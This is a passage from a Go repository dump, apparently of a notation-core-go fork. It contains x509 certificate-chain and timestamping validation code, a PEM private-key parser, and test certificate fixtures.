in basic constraints must be present, critical, and set to true", cert.Subject) 48 | } 49 | maxPathLen := cert.MaxPathLen 50 | isMaxPathLenPresent := maxPathLen > 0 || (maxPathLen == 0 && cert.MaxPathLenZero) 51 | if isMaxPathLenPresent && maxPathLen < expectedPathLen { 52 | return fmt.Errorf("certificate with subject %q: expected path length of %d but certificate has path length %d instead", cert.Subject, expectedPathLen, maxPathLen) 53 | } 54 | return nil 55 | } 56 | 57 | func validateLeafBasicConstraints(cert *x509.Certificate) error { 58 | if cert.BasicConstraintsValid && cert.IsCA { 59 | return fmt.Errorf("certificate with subject %q: if the basic constraints extension is present, the ca field must be set to false", cert.Subject) 60 | } 61 | return nil 62 | } 63 | 64 | func validateLeafKeyUsage(cert *x509.Certificate) error { 65 | if cert.KeyUsage&x509.KeyUsageDigitalSignature == 0 { 66 | return fmt.Errorf("the certificate with subject %q is invalid. The key usage must have the bit positions for \"Digital Signature\" set", cert.Subject) 67 | } 68 | 69 | var invalidKeyUsages []string 70 | if cert.KeyUsage&x509.KeyUsageKeyEncipherment != 0 { 71 | invalidKeyUsages = append(invalidKeyUsages, `"KeyEncipherment"`) 72 | } 73 | if cert.KeyUsage&x509.KeyUsageDataEncipherment != 0 { 74 | invalidKeyUsages = append(invalidKeyUsages, `"DataEncipherment"`) 75 | } 76 | if cert.KeyUsage&x509.KeyUsageKeyAgreement != 0 { 77 | invalidKeyUsages = append(invalidKeyUsages, `"KeyAgreement"`) 78 | } 79 | if cert.KeyUsage&x509.KeyUsageCertSign != 0 { 80 | invalidKeyUsages = append(invalidKeyUsages, `"CertSign"`) 81 | } 82 | if cert.KeyUsage&x509.KeyUsageCRLSign != 0 { 83 | invalidKeyUsages = append(invalidKeyUsages, `"CRLSign"`) 84 | } 85 | if cert.KeyUsage&x509.KeyUsageEncipherOnly != 0 { 86 | invalidKeyUsages = append(invalidKeyUsages, `"EncipherOnly"`) 87 | } 88 | if cert.KeyUsage&x509.KeyUsageDecipherOnly != 0 { 89 | invalidKeyUsages = append(invalidKeyUsages, `"DecipherOnly"`) 90 | } 91 | if len(invalidKeyUsages) > 0 { 92 | return fmt.Errorf("the certificate with subject %q is invalid. The key usage must be \"Digital Signature\" only, but found %s", cert.Subject, strings.Join(invalidKeyUsages, ", ")) 93 | } 94 | return nil 95 | } 96 | 97 | func validateSignatureAlgorithm(cert *x509.Certificate) error { 98 | _, err := algorithm.ExtractKeySpec(cert) 99 | if err != nil { 100 | return fmt.Errorf("certificate with subject %q: %w", cert.Subject, err) 101 | } 102 | return nil 103 | } 104 | 105 | func ekuToString(eku x509.ExtKeyUsage) string { 106 | switch eku { 107 | case x509.ExtKeyUsageAny: 108 | return "Any" 109 | case x509.ExtKeyUsageServerAuth: 110 | return "ServerAuth" 111 | case x509.ExtKeyUsageClientAuth: 112 | return "ClientAuth" 113 | case x509.ExtKeyUsageOCSPSigning: 114 | return "OCSPSigning" 115 | case x509.ExtKeyUsageEmailProtection: 116 | return "EmailProtection" 117 | case x509.ExtKeyUsageCodeSigning: 118 | return "CodeSigning" 119 | case x509.ExtKeyUsageTimeStamping: 120 | return "Timestamping" 121 | default: 122 | return fmt.Sprintf("%d", int(eku)) 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /x509/key.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package x509 15 | 16 | import ( 17 | "crypto" 18 | "crypto/x509" 19 | "encoding/pem" 20 | "errors" 21 | "fmt" 22 | "os" 23 | ) 24 | 25 | // ReadPrivateKeyFile reads a key PEM file as a signing key. 26 | func ReadPrivateKeyFile(path string) (crypto.PrivateKey, error) { 27 | data, err := os.ReadFile(path) 28 | if err != nil { 29 | return nil, err 30 | } 31 | return ParsePrivateKeyPEM(data) 32 | } 33 | 34 | // ParsePrivateKeyPEM parses a PEM as a signing key. 35 | func ParsePrivateKeyPEM(data []byte) (crypto.PrivateKey, error) { 36 | block, _ := pem.Decode(data) 37 | if block == nil { 38 | return nil, errors.New("no PEM data found") 39 | } 40 | switch block.Type { 41 | case "PRIVATE KEY": 42 | return x509.ParsePKCS8PrivateKey(block.Bytes) 43 | case "EC PRIVATE KEY": 44 | return x509.ParseECPrivateKey(block.Bytes) 45 | case "RSA PRIVATE KEY": 46 | return x509.ParsePKCS1PrivateKey(block.Bytes) 47 | } 48 | return nil, fmt.Errorf("unsupported PEM block type: %s", block.Type) 49 | } 50 | -------------------------------------------------------------------------------- /x509/testdata/der.der: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sugarylentil/notation-core-go/8fa692938edb49fa29531af685de460dac4db28c/x509/testdata/der.der -------------------------------------------------------------------------------- /x509/testdata/invalid: -------------------------------------------------------------------------------- 1 | invalid 2 | invalid 3 | -------------------------------------------------------------------------------- /x509/testdata/multi-der.der: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sugarylentil/notation-core-go/8fa692938edb49fa29531af685de460dac4db28c/x509/testdata/multi-der.der -------------------------------------------------------------------------------- /x509/testdata/multi-pem.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G 3 | A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp 4 | Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4 5 | MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG 6 | A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI 7 | hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8 8 | RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT 9 | gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm 10 | KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd 11 | QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ 12 | XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw 13 | DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o 14 | LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU 15 | RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp 16 | jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK 17 | 6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX 18 | mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs 19 | Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH 20 | WD9f 21 | -----END CERTIFICATE----- 22 | -----BEGIN CERTIFICATE----- 23 | MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G 24 | A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp 25 | Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4 26 | MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG 27 | A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI 28 | hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8 29 | RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT 30 | gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm 31 | KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd 32 | QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ 33 | XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw 34 | DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o 35 | LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU 36 | RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp 37 | jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK 38 | 6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX 39 | mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs 40 | Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH 41 | WD9f 42 | -----END CERTIFICATE----- 43 | -------------------------------------------------------------------------------- /x509/testdata/openssl-minimum-self-signed.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIFbTCCA1WgAwIBAgIJAMbezFlbmYcEMA0GCSqGSIb3DQEBCwUAMF8xCzAJBgNV 3 | BAYTAlVTMRMwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRYw 4 | FAYDVQQKDA1Ob3RhdGlvbiBUZXN0MREwDwYDVQQLDAhUZXN0Q2VydDAgFw0yMjA5 5 | MTUwNjEzMTNaGA8yMTIyMDgyMjA2MTMxM1owXzELMAkGA1UEBhMCVVMxEzARBgNV 6 | BAgMCldhc2hpbmd0b24xEDAOBgNVBAcMB1NlYXR0bGUxFjAUBgNVBAoMDU5vdGF0 7 | aW9uIFRlc3QxETAPBgNVBAsMCFRlc3RDZXJ0MIICIjANBgkqhkiG9w0BAQEFAAOC 8 | Ag8AMIICCgKCAgEAwo9PS2/9TAEMGkgVfbVVyjkdSav8zDgQLRg6Vkf67r231qOm 9 | JAevz1x9n3wbEqsKNs6UbQYteL2Yayn9rWvSqpNR/nREgM7pc3Sg3vHsar9BNCGn 10 | bVMrLKg+eQrmKtdfp8HftMSSQXSBcxNtMTnCBle+UIlqt9LBVk7KEKuImPIMxecO 11 | XEGWyT0l17QiSJURgUA7clMeh9uUzWPe4hf7TEX3I8hvWQenRFemapa9Xb+i4+tg 12 | MPDJWNqfVUk8SxvOlK73s2JCevSWoS0+HVfHKlMRCVzlxb2s35Mk35mCx/MXkR/U 13 | HkRnu6PPeeTQWT1pbF852ddthSSHKvylWVBVQ8Nbi5fqT5QE39k2TuS1Zbv++UEY 14 | KHC5xmaARr9G3ERczh999Hsm6PLm9QMHWLO/5GcoPYSqW5EQXL6dDClUgDnJntL3 15 | bDUsxAtJB1qT34o2aGmGxHdfWwgBGpUPBGWnU93eV+L8v/NAQRow84g65XVTu3zJ 16 | 7Lex5/LDJ/sL+59JuFPCW1GcDgfO/+tEbgx5/T9sl4zZbytF90SaBKci+bmT6Hr3 17 | xPB+mnrf0UEhMGMjaNxauZdIr7nTg9tR179FNmfxbWEqHcfN1oU5AmfTeruKiQiP 18 | /Zj3+Jr1X63DXpYf4XGaAusQ9kwaJk11kJgMedkkrcKMAP07DA27R42aBakCAwEA 19 | AaMqMCgwDgYDVR0PAQH/BAQDAgeAMBYGA1UdJQEB/wQMMAoGCCsGAQUFBwMDMA0G 20 | CSqGSIb3DQEBCwUAA4ICAQApBIbhVop3zsfKDL0H6CMl1LYq3rfoJ7/Tlj9tFZxM 21 | 42hh1N2HMP7/WKO5csj+pJ1C27vYSWBmGj2XmkfAvTY3I65F2uhVScoBXSKhYZZz 22 | +iTgLvK5RtR3kGcR+8TH5nLEBI+ZomDUBUHF8p92caUDFJkMNLq3o7PQ8wOgXgRn 23 | wYZcwGz7eSjq8Fg4Up3oq06Ll0/NGwqQKf5C7KeMfTTiDIqs1xha3BSH4B67ZoAh 24 | bMuR4/XIP+T0pQAFtDMa8WFeAztvVDa8Vw173UJCqiWK5WOBNzv87H5oE5PtN7mG 25 | v0yIXQuJXq6BGcmkYKxYCgvnCHwHJ6zTfddRlq32YSAhqotzHP7XAUKyMvuOhnQl 26 | IG7Itzw+qYs4/AZhmeLhpxnwhv1zBHMO4k/K6AvZfudP7afN6PeObsVGU9ElK7HL 27 | MSrnYFWrez9kN18aVCPIi9dGHY73EPSg+l6j2AQCK7BZck2qO4BQAIWGAzOyrd6W 28 | TZeotWo0pt+UoN0Ihk9zbiQVmuSan3qaTNmYPZZeVB58hyjdL7xI6+180Qmtb3uk 29 | oUoLHLKXxN1t7BewUVRs9UA4uxjBK9kWuIROGwwFcdIm+JkZtd0AF/Sko2J9VxmM 30 | Colw5b7EymcXx6RTvoPNFTWO0TmCMc+HHRPue8fsu8GcQmzvMX0682qF8uT0ekQM 31 | Mw== 32 | -----END CERTIFICATE----- 33 | -------------------------------------------------------------------------------- /x509/testdata/pem.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G 3 | A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp 4 | Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4 5 | MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG 6 | A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI 7 | hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8 8 | RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT 9 | gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm 10 | KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd 11 | QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ 12 | XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw 13 | DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o 14 | LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU 15 | RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp 16 | jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK 17 | 6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX 18 | mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs 19 | Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH 20 | WD9f 21 | -----END CERTIFICATE----- 22 | -------------------------------------------------------------------------------- /x509/testdata/timestamp_intermediate.crt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sugarylentil/notation-core-go/8fa692938edb49fa29531af685de460dac4db28c/x509/testdata/timestamp_intermediate.crt -------------------------------------------------------------------------------- /x509/testdata/timestamp_leaf.crt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sugarylentil/notation-core-go/8fa692938edb49fa29531af685de460dac4db28c/x509/testdata/timestamp_leaf.crt -------------------------------------------------------------------------------- /x509/testdata/timestamp_root.crt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sugarylentil/notation-core-go/8fa692938edb49fa29531af685de460dac4db28c/x509/testdata/timestamp_root.crt -------------------------------------------------------------------------------- /x509/timestamp_cert_validations.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package x509 15 | 16 | import ( 17 | "bytes" 18 | "crypto/x509" 19 | "errors" 20 | "fmt" 21 | 22 | "github.com/sugarylentil/notation-core-go/internal/oid" 23 | ) 24 | 25 | // ValidateTimestampingCertChain takes an ordered time stamping certificate 26 | // chain and validates issuance from leaf to root 27 | // Validates certificates according to this spec: 28 | // https://github.com/notaryproject/notaryproject/blob/main/specs/signature-specification.md#certificate-requirements 29 | func ValidateTimestampingCertChain(certChain []*x509.Certificate) error { 30 | if len(certChain) < 1 { 31 | return errors.New("certificate chain must contain at least one certificate") 32 | } 33 | 34 | // For self-signed signing certificate (not a CA) 35 | if len(certChain) == 1 { 36 | cert := certChain[0] 37 | // check self-signed 38 | if err := cert.CheckSignature(cert.SignatureAlgorithm, cert.RawTBSCertificate, cert.Signature); err != nil { 39 | return fmt.Errorf("invalid self-signed certificate. subject: %q. Error: %w", cert.Subject, err) 40 | } 41 | // check self-issued 42 | if !bytes.Equal(cert.RawSubject, cert.RawIssuer) { 43 | return fmt.Errorf("invalid self-signed certificate. subject: %q. Error: issuer (%s) and subject (%s) are not the same", cert.Subject, cert.Issuer, cert.Subject) 44 | } 45 | if err := validateTimestampingLeafCertificate(cert); err != nil { 46 | return fmt.Errorf("invalid self-signed certificate. Error: %w", err) 47 | } 48 | return nil 49 | } 50 | 51 | for i, cert := range certChain { 52 | if i == len(certChain)-1 { 53 | selfSigned, selfSignedError := isSelfSigned(cert) 54 | if selfSignedError != nil { 55 | return fmt.Errorf("root certificate with subject %q is invalid or not self-signed. Certificate chain must end with a valid self-signed root certificate. Error: %v", cert.Subject, selfSignedError) 56 | } 57 | if !selfSigned { 58 | return fmt.Errorf("root certificate with subject %q is not self-signed. Certificate chain must end with a valid self-signed root certificate", cert.Subject) 59 | } 60 | } else { 61 | // This is to avoid extra/redundant multiple root cert at the end 62 | // of certificate-chain 63 | selfSigned, selfSignedError := isSelfSigned(cert) 64 | // not checking selfSignedError != nil here because we expect 65 | // a non-nil err. For a non-root certificate, it shouldn't be 66 | // self-signed, hence CheckSignatureFrom would return a non-nil 67 | // error. 68 | if selfSignedError == nil && selfSigned { 69 | if i == 0 { 70 | return fmt.Errorf("leaf certificate with subject %q is self-signed. Certificate chain must not contain self-signed leaf certificate", cert.Subject) 71 | } 72 | return fmt.Errorf("intermediate certificate with subject %q is self-signed. Certificate chain must not contain self-signed intermediate certificate", cert.Subject) 73 | } 74 | parentCert := certChain[i+1] 75 | issuedBy, issuedByError := isIssuedBy(cert, parentCert) 76 | if issuedByError != nil { 77 | return fmt.Errorf("invalid certificates or certificate with subject %q is not issued by %q. Error: %v", cert.Subject, parentCert.Subject, issuedByError) 78 | } 79 | if !issuedBy { 80 | return fmt.Errorf("certificate with subject %q is not issued by %q", cert.Subject, parentCert.Subject) 81 | } 82 | } 83 | 84 | if i == 0 { 85 | if err := validateTimestampingLeafCertificate(cert); err != nil { 86 | return err 87 | } 88 | } else { 89 | if err := validateTimestampingCACertificate(cert, i-1); err != nil { 90 | return err 91 | } 92 | } 93 | } 94 | return nil 95 | } 96 | 97 | func validateTimestampingCACertificate(cert *x509.Certificate, expectedPathLen int) error { 98 | if err := validateCABasicConstraints(cert, expectedPathLen); err != nil { 99 | return err 100 | } 101 | return validateTimestampingCAKeyUsage(cert) 102 | } 103 | 104 | func validateTimestampingLeafCertificate(cert *x509.Certificate) error { 105 | if err := validateLeafBasicConstraints(cert); err != nil { 106 | return err 107 | } 108 | if err := validateTimestampingLeafKeyUsage(cert); err != nil { 109 | return err 110 | } 111 | if err := validateTimestampingExtendedKeyUsage(cert); err != nil { 112 | return err 113 | } 114 | return validateSignatureAlgorithm(cert) 115 | } 116 | 117 | func validateTimestampingCAKeyUsage(cert *x509.Certificate) error { 118 | if err := validateTimestampingKeyUsagePresent(cert); err != nil { 119 | return err 120 | } 121 | if cert.KeyUsage&x509.KeyUsageCertSign == 0 { 122 | return fmt.Errorf("certificate with subject %q: key usage must have the bit positions for key cert sign set", cert.Subject) 123 | } 124 | return nil 125 | } 126 | 127 | func validateTimestampingLeafKeyUsage(cert *x509.Certificate) error { 128 | if err := validateTimestampingKeyUsagePresent(cert); err != nil { 129 | return err 130 | } 131 | return validateLeafKeyUsage(cert) 132 | } 133 | 134 | func validateTimestampingKeyUsagePresent(cert *x509.Certificate) error { 135 | var hasKeyUsageExtension bool 136 | for _, ext := range cert.Extensions { 137 | if ext.Id.Equal(oid.KeyUsage) { 138 | hasKeyUsageExtension = true 139 | break 140 | } 141 | } 142 | if !hasKeyUsageExtension { 143 | return fmt.Errorf("certificate with subject %q: key usage extension must be present", cert.Subject) 144 | } 145 | return nil 146 | } 147 | 148 | func validateTimestampingExtendedKeyUsage(cert *x509.Certificate) error { 149 | // RFC 3161 2.3: The corresponding certificate MUST contain only one 150 | // instance of the extended key usage field extension. And it MUST be 151 | // marked as critical. 152 | if len(cert.ExtKeyUsage) != 1 || 153 | cert.ExtKeyUsage[0] != x509.ExtKeyUsageTimeStamping || 154 | len(cert.UnknownExtKeyUsage) != 0 { 155 | return fmt.Errorf("timestamp signing certificate with subject %q must have and only have %s as extended key usage", cert.Subject, ekuToString(x509.ExtKeyUsageTimeStamping)) 156 | } 157 | // check if Extended Key Usage extension is marked critical 158 | for _, ext := range cert.Extensions { 159 | if ext.Id.Equal(oid.ExtKeyUsage) { 160 | if !ext.Critical { 161 | return fmt.Errorf("timestamp signing certificate with subject %q must have extended key usage extension marked as critical", cert.Subject) 162 | } 163 | break 164 | } 165 | } 166 | return nil 167 | } 168 | --------------------------------------------------------------------------------